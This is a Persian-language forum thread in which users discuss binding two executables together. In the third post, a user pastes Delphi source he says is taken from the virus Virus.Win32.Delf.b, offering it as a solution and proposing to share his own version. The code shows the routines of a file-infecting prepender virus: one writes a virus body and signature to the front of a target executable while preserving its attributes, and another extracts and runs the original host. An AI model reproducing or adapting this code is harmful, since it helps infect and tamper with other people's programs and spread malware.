تبلیغات :
خرید لپ تاپ استوک
ماهان سرور
آکوستیک ، فوم شانه تخم مرغی ، پنل صداگیر ، یونولیت
دستگاه جوجه کشی حرفه ای
فروش آنلاین لباس کودک
خرید فالوور ایرانی
خرید فالوور اینستاگرام
خرید ممبر تلگرام

[ + افزودن آگهی متنی جدید ]




نمايش نتايج 1 به 3 از 3

نام تاپيک: چسبوندن 2 تا exe بهم.

  1. #1
    کاربر فعال انجمن نرم افزار picher_s's Avatar
    تاريخ عضويت
    Dec 2008
    محل سكونت
    زیر چتر اویرا در تفریج!
    پست ها
    1,453

    5 چسبوندن 2 تا exe بهم.

    سلام.
    میخوام 2 تا exe رو بهم بچسبونم.
    اما متفاوت با بقیه چسبوند ها ( میخوام مثل این روش نباشه
    کد:
    برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید
    )
    طریقه چسبوندن اینجوریه :
    2 تا PE داریم. PE1 , PE2
    PE1 که برنامه اصلی هست می خوام بعد PE2 قرار بگیره ولی موقع PE1 اول اجرا بشه و PE2 رو جدا کنه و ...
    ممنون میشم کسی کمک کنه.

  2. #2
    حـــــرفـه ای مرد مباح's Avatar
    تاريخ عضويت
    Dec 2005
    محل سكونت
    روي ميخ
    پست ها
    2,143

    پيش فرض

    دوست عزیز. اجرا کردن یک بحثه و یکی کردن (چسبوندن) یک بحث دیگه
    برای اجرا کردن که خیلی راحت میتونی اولی رو اجرا کنی و توش به کمک ShellExec برنامه دوم رو صدا کنی و برنامه اصلی اولیه رو ببندی یا بزاری باز بمونه تا کار شماره 2 تموم بشه.
    ولی برای جسبوندن راهی بلد نیستم. قبلا هم کمی دنبالش گشتم ولی چیزی یافت نشد.
    من میخواستم یک کم÷ایل رو که از یک برنامه دیگه گزفتم توی اصل EXE خودم بریزم و نمیدونستم چطوری.

    نمیخوام بحث Inject بشه. من خودم میخوام دستی یا به کمک برنامه ای این کارو بکنم.
    اگه کسی برای این موضوع راه حلی بلده منم خوشحال میشم یاد بگیرمش.

  3. #3
    کاربر فعال انجمن نرم افزار picher_s's Avatar
    تاريخ عضويت
    Dec 2008
    محل سكونت
    زیر چتر اویرا در تفریج!
    پست ها
    1,453

    پيش فرض

    سلام.
    عزیز تو لینکی که بالا گذاشتم یه نمونش رو گذاشتم. این کار شما رو راه میندازه!!
    اما در این موردی که من گفتم خودمم توش موندم.
    این گوشه ای ار سرس ویروسه Virus.Win32.Delf.b هستش که کارت رو راه میندازه. یه نمونه هم خودم نوشتم اگه خواستی میزارم.

    PROCEDURE Prepend(DestinationFileName:STRING);
    VAR
    DestinationFile : FILE;
    FileAttribute : Integer;
    DestinationFileSize : Longint;
    Buf : AnsiString;
    BEGIN
    TRY
    FileAttribute:=GetFileAttributes(pAnsiChar(Destina tionFileName));
    SetFileAttributes(pAnsiChar(DestinationFileName), 80);
    {$I-}
    AssignFile(DestinationFile,DestinationFileName);
    FileMode:=2;
    Reset(DestinationFile,1);
    DestinationFileSize:=FileSize(DestinationFile);
    SetLength(Buf,DestinationFileSize);
    BlockRead(DestinationFile,Buf[1],DestinationFileSize);
    IF Pos(VirusEndSignature,Buf)=0 THEN BEGIN
    Seek(DestinationFile,0);
    BlockWrite(DestinationFile,VirusBuffer[1],VirusSize);
    BlockWrite(DestinationFile,VirusEndSignature[1],Length(VirusEndSignature));
    BlockWrite(DestinationFile,Buf[1],DestinationFileSize);
    CloseFile(DestinationFile);
    END;
    {$I+}
    SetFileAttributes(pAnsiChar(DestinationFileName), FileAttribute);
    FINALLY
    END;
    END;
    //----
    PROCEDURE DropFile;
    VAR
    G : FILE;
    S : STRING;
    T : Longint;
    BEGIN
    {$I-}
    T:=VirusPositon+Length(VirusEndSignature);
    IF VirusPositon>0 THEN BEGIN
    // Working as a classic prepender if can not execute the original file in
    // the memory.
    IF(NOT IsNTBasedOS)OR(NOT CreateProcessEx(@VirusBuffer[T])) THEN BEGIN
    TRY
    S:=TempPath+ExtractFileName(ParamStr(0));
    AssignFile(G,S);
    Rewrite(G,1);
    BlockWrite(G,VirusBuffer[T],Length(VirusBuffer)-T+1);
    CloseFile(G);
    WinExec(pChar(S+' '+CommandLineParameters),SW_SHOW);
    EXCEPT
    END;
    END;
    END;
    {$I+}
    END;

    موفق باشید و چیروز.

  4. این کاربر از picher_s بخاطر این مطلب مفید تشکر کرده است


Thread Information

Users Browsing this Thread

هم اکنون 1 کاربر در حال مشاهده این تاپیک میباشد. (0 کاربر عضو شده و 1 مهمان)

User Tag List

قوانين ايجاد تاپيک در انجمن

  • شما نمی توانید تاپیک ایحاد کنید
  • شما نمی توانید پاسخی ارسال کنید
  • شما نمی توانید فایل پیوست کنید
  • شما نمی توانید پاسخ خود را ویرایش کنید
  •